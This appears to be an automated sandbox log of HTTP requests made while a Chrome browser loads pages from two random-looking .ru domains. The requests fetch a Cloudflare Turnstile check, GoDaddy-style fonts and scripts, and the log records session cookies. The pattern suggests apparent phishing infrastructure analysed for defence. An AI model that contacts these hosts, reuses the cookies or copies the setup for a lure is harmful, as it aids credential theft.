Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=YjadG5oqy1UoMSC.u1qTWxNkI7cdQd1Lw6VeEFrhBSo-1742457401-1.0.1.1-u6uO5XRtYLsy6I5Yi.eIpfKRxE8yzktv_nnKcgvTTt0fIgwpSWKk5uAtiCz0AyJYpSbMIT7720uad4EtIxurgLrlQDa9JWKlhqIM6Grz7RM
Source: global traffic	HTTP traffic detected: GET /tarboz@zf1tq8 HTTP/1.1Host: mlzgl.pnkptj.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://8rgz.mdrvgqsm.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1djFOQV/ HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://8rgz.mdrvgqsm.ru/1djFOQV/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InViUFJsR3FuQ1hGOThEVVFxcFNsenc9PSIsInZhbHVlIjoiQVdpRGZJTUh6dUV4OW9hWHUra3NDTmhkTEx6M3dOVmpLa1Nxem1DMHorR0dRblh0Yk1jZzhqalBTOTFVdVptUU9QMFZnaERzRURsY1pPTFpDbGRUbFBCY1FiYWdKMFFpRUpWM2RPSCtheEVBbGtiSzczRTNjcFg1ZkpPMTNjcG0iLCJtYWMiOiJjNWMyNGJmNWRiY2ExYTk4NGQyNjExMTk5NmU1NjAyN2E5OWY2MTA0NDEwOGU0MGQ2YmI4ZTFmMjBlMzI5MTI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InAwUmJ6eGFnK3crME1EeWNVSm5vZlE9PSIsInZhbHVlIjoiYU9YOVhHOXNRaERPT1p2cElKU2JQV1hwQm5nUVRxL2RGamw4bkMwVTZobmN4VGdXVlhJVUtlc2swRlRJRk1PdHNxL1d4Y0FiT3Qyd0thV2ZtaTdEMVc5N3k4TWVIdHRYR25tcFhGN1Z6QitkNmRJcXJZdEVQRXgzdGpCNHBIK0giLCJtYWMiOiI5ZmU0ZjQ1ZjA4NjU4MGRkMjFmYTgyY2VhZTI4YTAyYjVjZDAwYzAxZmVkMzRmYTI0Y2ZjOGMwNjBkYzJkZDRhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /tarboz@zf1tq8 HTTP/1.1Host: mlzgl.pnkptj.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /weMiO5475NClmL4euocG4r3o HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InViUFJsR3FuQ1hGOThEVVFxcFNsenc9PSIsInZhbHVlIjoiQVdpRGZJTUh6dUV4OW9hWHUra3NDTmhkTEx6M3dOVmpLa1Nxem1DMHorR0dRblh0Yk1jZzhqalBTOTFVdVptUU9QMFZnaERzRURsY1pPTFpDbGRUbFBCY1FiYWdKMFFpRUpWM2RPSCtheEVBbGtiSzczRTNjcFg1ZkpPMTNjcG0iLCJtYWMiOiJjNWMyNGJmNWRiY2ExYTk4NGQyNjExMTk5NmU1NjAyN2E5OWY2MTA0NDEwOGU0MGQ2YmI4ZTFmMjBlMzI5MTI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InAwUmJ6eGFnK3crME1EeWNVSm5vZlE9PSIsInZhbHVlIjoiYU9YOVhHOXNRaERPT1p2cElKU2JQV1hwQm5nUVRxL2RGamw4bkMwVTZobmN4VGdXVlhJVUtlc2swRlRJRk1PdHNxL1d4Y0FiT3Qyd0thV2ZtaTdEMVc5N3k4TWVIdHRYR25tcFhGN1Z6QitkNmRJcXJZdEVQRXgzdGpCNHBIK0giLCJtYWMiOiI5ZmU0ZjQ1ZjA4NjU4MGRkMjFmYTgyY2VhZTI4YTAyYjVjZDAwYzAxZmVkMzRmYTI0Y2ZjOGMwNjBkYzJkZDRhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/1djFOQV/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlowZXZEZjlYV21pNXlDTXlsT3RkTFE9PSIsInZhbHVlIjoiOGVpWGpOMTJCcGdtekhnVTFFckEyLzVUM0VRSkhlcytYNTI5aDVNNDk4cUh5REw4eDRYajF5RTgvakUxbyt3TjJUT0dIMncxRXcwMm5vdllGWUoxaFUrQUNNZ1VSVFBNUXFwZmJpazRSZDNDUzJPanBTekV5VlFSbEJUSVhocGgiLCJtYWMiOiI0YzUyZWE0ZGQ5NzgwNGQwODQyOWVlMmI5YjgyZTMyNjE3NTkzOTc1NjRiZGVhZTUwMWY3ZDE5MmM3YTFjMzkyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikh0YWR0bHExeXErSm4zaENLTXpKcXc9PSIsInZhbHVlIjoiYnorZEplejVQdGJJVCtEUEtrOEZuR0wwUlBESFN1L212bkxXd1RqOEg1aFROVWN4RCtmSGdrV2kxcHFHM2N0RDBmYW4wN1BJcmdWVnRpZGdZL2pyVnNEbnlTc2Z0WFRnTXd2WDJiREFUUWo3MUExMkFFQXkySHFOeEl5amQyd00iLCJtYWMiOiI3NWRmMTYwMjA4Mzg0ZjlkMzExZTg1NGE2YzdlMDBiMTIwYTQzZTU2NTVjNWE5NDBlNWU4Y2M4ZGIzMjdlZTZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /lmHT5z2W4YMAOP4I9no6XMAOCRLoylOBPtFPoLHZEBlxY3Sjy HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNpbzhCcUZWVlRyRFc2dWVUTHB6MFE9PSIsInZhbHVlIjoidGFLTkl4clJqM1F1eVorSVBWZ3lOZWdBYWVrVkRjTnpKOExnYmtmNWM2SGRhR1NuVzFBcGdYV0ZSckMwY2NxbkRTaUZXMDlFNk12bWxiWm1DQVlRTXEvMC9NSkJkUUs4VWFCaitPUloyVVY0aklsZlB1ZnhrVTZUcjVVUWc0bjgiLCJtYWMiOiIyNmNlZDVlNDEyNTI0MjBhOWFmZjE4M2NjNzE5NzY0ODA3YWVkODhhYmQwYTdjMzJjYzU1MTQwN2U1ZjlmNWE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjNSYWpDSDNJQ3NpcTViaU5kOTJWNGc9PSIsInZhbHVlIjoibzlsb0k5T2Iwb3phZCtnOGFRYUQrbVY0THA4UEJBSEFyOFFuWXBQVVJadjhKY2FXWGZMZ0Y0eXEzb1A0ZXh3SnVtSUd6YUQvYWlZZHoyNGdhSTAydlYvY09OYi9xZTlodGxuY0Q2S1JUMkFkYjJ6UzRxaWd1Mk5BUnpmdWFiVzMiLCJtYWMiOiIxZGEzYzQyOWI1YjhlMzVkMmQ0YWEzNTc3YzdmZWU2YTVjNGU3YmI1Y2RlZDc3MmJjMWI3ZjMxNDYxODUxOWM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://8rgz.mdrvgqsm.ru/1djFOQV/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNpbzhCcUZWVlRyRFc2dWVUTHB6MFE9PSIsInZhbHVlIjoidGFLTkl4clJqM1F1eVorSVBWZ3lOZWdBYWVrVkRjTnpKOExnYmtmNWM2SGRhR1NuVzFBcGdYV0ZSckMwY2NxbkRTaUZXMDlFNk12bWxiWm1DQVlRTXEvMC9NSkJkUUs4VWFCaitPUloyVVY0aklsZlB1ZnhrVTZUcjVVUWc0bjgiLCJtYWMiOiIyNmNlZDVlNDEyNTI0MjBhOWFmZjE4M2NjNzE5NzY0ODA3YWVkODhhYmQwYTdjMzJjYzU1MTQwN2U1ZjlmNWE1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjNSYWpDSDNJQ3NpcTViaU5kOTJWNGc9PSIsInZhbHVlIjoibzlsb0k5T2Iwb3phZCtnOGFRYUQrbVY0THA4UEJBSEFyOFFuWXBQVVJadjhKY2FXWGZMZ0Y0eXEzb1A0ZXh3SnVtSUd6YUQvYWlZZHoyNGdhSTAydlYvY09OYi9xZTlodGxuY0Q2S1JUMkFkYjJ6UzRxaWd1Mk5BUnpmdWFiVzMiLCJtYWMiOiIxZGEzYzQyOWI1YjhlMzVkMmQ0YWEzNTc3YzdmZWU2YTVjNGU3YmI1Y2RlZDc3MmJjMWI3ZjMxNDYxODUxOWM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56q8sfKixywsK6715 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abRFMesrs5Qef30 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveOrigin: https://8rgz.mdrvgqsm.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveOrigin: https://8rgz.mdrvgqsm.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveOrigin: https://8rgz.mdrvgqsm.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveOrigin: https://8rgz.mdrvgqsm.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InByTnFHa2xCTzZYNk5FY2t6ZEoxMFE9PSIsInZhbHVlIjoiQ1N0ZTE0TEgyZlBLRXZHZXdWOXAya1NrYTVSeXJ6L2hPNEt4Vmx6cFkxRkpoaWtFT1FKRUcyNWIwVHNXTGJHV1ovTUk5ekh1NEMvRTEzL0srYUp4dWZmUU5ScngvU1A5dSt0YlR5NGs5VXNYdjRsSWVyb003RVNFdUVVU1pUYmEiLCJtYWMiOiJiNmMyMzJjZjkwYjQ5OGU4MjY1ZGY4NzRhOTFkY2IyNDFlYTkxZTg2MWU3MDUxMTBjZTJlZDBjNzJmZGNjMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBBVzBEd3FxOEh6Y3pFcS9HSHhyRmc9PSIsInZhbHVlIjoieU52bTNwb2o1aW9tVlh4VVI5Z1NtdXZBU2p5eEIweTlWQWUwT2ZVY2ZQOFJRb2JCeDY1UzZCankzdHgrdXFPbVYrWkVPUlRqRG5RUkh1UWU2ZFNnQVlrTmo4REtWaGNKUTVSa05ZRUFXTDU1Vy84VU8vT2xlemxYN1l4c3pSVzgiLCJtYWMiOiI2MDdmZjVlOGZiNDUzYzkwNWUzODQ5NThiM2E2YWU0YzU2NmM5YTY1MWVhY2IwNDllMWJhNmYzNTYyMzgyZjJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
